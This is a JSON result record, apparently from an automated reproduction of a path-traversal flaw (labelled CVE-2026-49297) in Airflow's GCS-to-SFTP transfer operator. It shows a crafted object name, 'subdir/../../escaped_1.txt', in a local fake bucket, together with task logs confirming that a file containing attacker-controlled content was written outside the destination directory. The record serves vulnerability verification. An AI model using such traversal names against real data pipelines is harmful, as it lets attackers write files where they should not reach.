{
  "version": "22.1.0",
  "attempt": 1,
  "entrypoint": "airflow tasks test cve_2026_49297_repro_dag copy_malicious_gcs_object_to_sftp",
  "dag_file": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/airflow_home/dags/cve_2026_49297_repro_dag.py",
  "fake_gcs_endpoint": "http://127.0.0.1:36387",
  "fake_gcs_log": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/fake_gcs_server.log",
  "gcs_api_trace": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/gcs_api_trace.json",
  "gcs_seed_ok": true,
  "source_bucket": "malicious-bucket",
  "source_object": "subdir/*",
  "gcs_listed_object": "subdir/../../escaped_1.txt",
  "destination_path": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/sftp_root/inbox",
  "sftp_port": 44365,
  "sftp_accepted_connections": 2,
  "escaped_file": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/sftp_root/escaped_1.txt",
  "escaped_file_exists": true,
  "escaped_file_content": "attacker-controlled-content version=22.1.0 attempt=1\n",
  "file_inside_destination": false,
  "airflow_task_returncode": 0,
  "airflow_task_log": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/airflow_tasks_test.log",
  "airflow_task_stdout_excerpt": "pi.routes.task_instances] correlation_id=019f36c8-3eef-700d-a4a1-bd6971b8e278 field_count=4 loc=task_instances.py:828 ti_id=019f36c8-38be-7f1d-89de-bd75c41b28ab\n2026-07-06T09:35:20.835604Z [info     ] ::endgroup::                   [task] loc=task_runner.py:1727\n2026-07-06T09:35:20.836395Z [warning  ] Skipping masking for a secret as it's too short (<5 chars) [airflow.sdk._shared.secrets_masker.secrets_masker] loc=secrets_masker.py:590\n2026-07-06T09:35:20.840753Z [info     ] Executing copy of gs://malicious-bucket/subdir/../../escaped_1.txt to /data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/sftp_root/inbox/subdir/../../escaped_1.txt [airflow.task.operators.airflow.providers.google.cloud.transfers.gcs_to_sftp.GCSToSFTPOperator] loc=gcs_to_sftp.py:189\n2026-07-06T09:35:20.840859Z [warning  ] Remote Identification Change is not verified. This won't protect against Man-In-The-Middle attacks [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=ssh.py:292\n2026-07-06T09:35:20.840917Z [warning  ] No Host Key Verification. This won't protect against Man-In-The-Middle attacks [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=ssh.py:302\n2026-07-06T09:35:20.841552Z [info     ] Connected (version 2.0, client paramiko_3.5.1) [paramiko.transport] loc=transport.py:1944\n2026-07-06T09:35:20.886447Z [info     ] Authentication (password) successful! [paramiko.transport] loc=transport.py:1944\n2026-07-06T09:35:20.887947Z [info     ] [chan 0] Opened sftp connection (server version 3) [paramiko.transport.sftp] loc=sftp.py:169\n2026-07-06T09:35:20.888355Z [info     ] /data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/sftp_root/inbox/subdir/../.. already exists [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=sftp.py:298\n2026-07-06T09:35:20.888449Z [info     ] [chan 0] sftp session closed.  [paramiko.transport.sftp] loc=sftp.py:169\n2026-07-06T09:35:20.894435Z [info     ] File downloaded to /tmp/tmpny7wh_0f [airflow.task.hooks.airflow.providers.google.cloud.hooks.gcs.GCSHook] loc=gcs.py:385\n2026-07-06T09:35:20.894513Z [warning  ] Remote Identification Change is not verified. This won't protect against Man-In-The-Middle attacks [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=ssh.py:292\n2026-07-06T09:35:20.894571Z [warning  ] No Host Key Verification. This won't protect against Man-In-The-Middle attacks [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=ssh.py:302\n2026-07-06T09:35:20.936192Z [info     ] Connected (version 2.0, client paramiko_3.5.1) [paramiko.transport] loc=transport.py:1944\n2026-07-06T09:35:20.938631Z [info     ] Authentication (password) successful! [paramiko.transport] loc=transport.py:1944\n2026-07-06T09:35:20.939916Z [info     ] [chan 0] Opened sftp connection (server version 3) [paramiko.transport.sftp] loc=sftp.py:169\n2026-07-06T09:35:20.941171Z [info     ] [chan 0] sftp session closed.  [paramiko.transport.sftp] loc=sftp.py:169\n2026-07-06T09:35:20.941447Z [info     ] Done. Uploaded '1' files to /data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/sftp_root/inbox [airflow.task.operators.airflow.providers.google.cloud.transfers.gcs_to_sftp.GCSToSFTPOperator] loc=gcs_to_sftp.py:167\n2026-07-06T09:35:20.941603Z [info     ] ::group::Post Execute          [task] loc=task_runner.py:1288\n[] []\n2026-07-06T09:35:20.953067Z [info     ] Task instance state updated    [airflow.api_fastapi.execution_api.routes.task_instances] correlation_id=019f36c8-3f6e-703d-ad68-ea3863243b48 loc=task_instances.py:432 new_state=success rows_affected=1 ti_id=019f36c8-38be-7f1d-89de-bd75c41b28ab\n2026-07-06T09:35:20.965231Z [info     ] ::endgroup::                   [task] loc=task_runner.py:1896\n2026-07-06T09:35:20.974405Z [info     ] [DAG TEST] end task task_id=copy_malicious_gcs_object_to_sftp map_index=-1 [airflow.sdk.definitions.dag] loc=dag.py:1497\n",
  "error": null,
  "exception_type": null,
  "target_reached": true,
  "sftp_operations": [
    {
      "op": "accepted_connection",
      "peer": "('127.0.0.1', 34182)"
    },
    {
      "op": "accepted_connection",
      "peer": "('127.0.0.1', 34190)"
    },
    {
      "op": "open",
      "remote": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/sftp_root/inbox/subdir/../../escaped_1.txt",
      "local": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/sftp_root/escaped_1.txt",
      "flags": 577
    }
  ]
}